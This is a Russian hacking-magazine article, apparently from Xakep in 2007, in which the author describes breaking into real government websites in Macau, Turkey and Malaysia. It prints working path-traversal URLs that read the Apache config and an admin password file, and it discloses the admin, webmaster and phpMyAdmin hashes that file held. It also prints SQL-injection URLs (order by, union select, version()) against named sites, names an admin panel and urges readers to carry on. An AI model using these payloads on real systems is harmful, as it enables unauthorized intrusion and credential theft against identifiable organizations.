Май - Xakep Online

взлом
Дырявое казначейство Малайзии :)
Читаем файлы на сервере сиднейского руководства
Ответ не заставил себя долго ждать:
# Do not remove the following line,
or various programs # that require
network functionality will fail.
127.0.0.1 gp.macau.grandprix.
gov.mo localhost localhost.
localdomain gp www.macau.
grandprix.gov.mo #192.168.1.28
www.macau.grandprix.gov.mo
Как оказалось, на сервере крутился Linux:
Linux version 2.6.17-1.2142_
FC4smp (bhcompile@hs20‐bc1-
4.build.redhat.com) (gcc version
4.0.2 20051125 (Red Hat 4.0.2-8))
#1 SMP Tue Jul 11 22:57:02 EDT 2006
И через минуту у меня в руках уже находился
конфиг Апача:
http://www.macau.grandprix.
gov.mo/mgpc/public_html
/gb/main.php?cat=news&item=mg
pc&file=../../../../../../..
/../etc/httpd/conf/httpd.conf
Виртуальных хостов на сервере найдено не
было, зато я обнаружил полезную для себя диру:
/export/home/httpuser/WebMaster/. Поиграв
с параметрами, я таки выудил хэши пассов
админов:
http://www.macau.grandprix.gov.
mo/mgpc/public_html/gb/main.
php?cat=news&item=mgpc&file=..
/../../../../../../../export/
home/httpuser/WebMaster/.
gppassword&id=394
Самое интересное, что тут был не один хэш:
WebMaster:fk0EbenCGRXs2
phpmyadmin:d3jB0p9PyULGc admin:/
NLkH.tT7RC1c
Вот тебе и админ, и веб-мастер и пхпмайадмин
=). Паролики, естественно, были расшифрованы,
но выкладывать я их не буду :).
Все в твоих руках. Кстати, админка лежит
тут: www.macau.grandprix.gov.mo/admin.
Продолжаем двигаться дальше. Следующие
на очереди — турки.
Честно говоря, мне никогда не нравился
турецкий андеграунд с обилием кидисов.
Поэтому от вида турецкого ресурса, находящегося
в правительственной доменной зоне,
во мне сразу проснулся азарт =). Сам линк на
сайт был таким: www.atam.gov.tr. Побродив по
ссылкам, я наткнулся на инъекцию:
http://www.atam.gov.tr/index.php?
Page=DergiIcerik&IcerikNo=-1%27
Скрипт index.php работал с базой и был подвержен
sql-инъекции, что не могло не радовать :).
Поиграв с конструкцией «order by», я таки
узнал количество полей:
http://www.atam.gov.tr/index.
php?Page=DergiIcerik&IcerikNo=-
1+order+by+5/*
Как выяснилось, данные со второго и пятого
полей отображались:
http://www.atam.gov.tr/index.
php?Page=DergiIcerik&IcerikNo=-
1+union+select+1,2,3,4,5/*
К сожалению, на мою попытку получить доступ
к mysql.users база ругнулась и выдала лишь:
«Access denied for user: 'atamDB@localhost' to
database 'mysql'». Название одной таблички
я знал: DergiIcerik. Также я знал и названия
полей в ней: No, TRBaslik, TRYazar, TRDergiSayi,
TRIcerik. Но ничего полезного там не обнаружилось.
Прав file_priv тоже не было, и все попытки
прочитать какой-либо из файлов на сервере
были тщетны. Но когда я глянул версию MySQL,
мое лицо расплылось в улыбке:
http://www.atam.gov.tr/index.
php?Page=DergiIcerik&IcerikNo=-
1+union+select+1,version(),3,4,
5+from+DergiIcerik/*
На сервере крутился «мускул» версии 4.0.26. Как
и с чем его едят, думаю, разберешься и без меня
— я и так тебе уже многое сказал =).
Так, кто там на очереди? Ах, Малайзия, а я
уж и забыл :). Между прочем, не сайтец, а
золото, почти в прямом смысле. Спешу представить
тебе официальный ресурс казначейства
Министерства финансов Малайзии:
www.treasury.gov.my. Кстати, дизайн у этого
портала достаточно качественный, чего
не скажешь о движке. Достаточно прогуляться
по следующему линку, чтобы в этом
убедиться:
http://www.treasury.gov.my/
index.php?ch=36&pg=126&ac=1830
%27
«Так, кто там на очереди? Ах, Малайзия, а я уж и
забыл :). Между прочим, не сайтец, а золото, почти
в прямом смысле»
/ 076
xàêåð 05 /101/ 07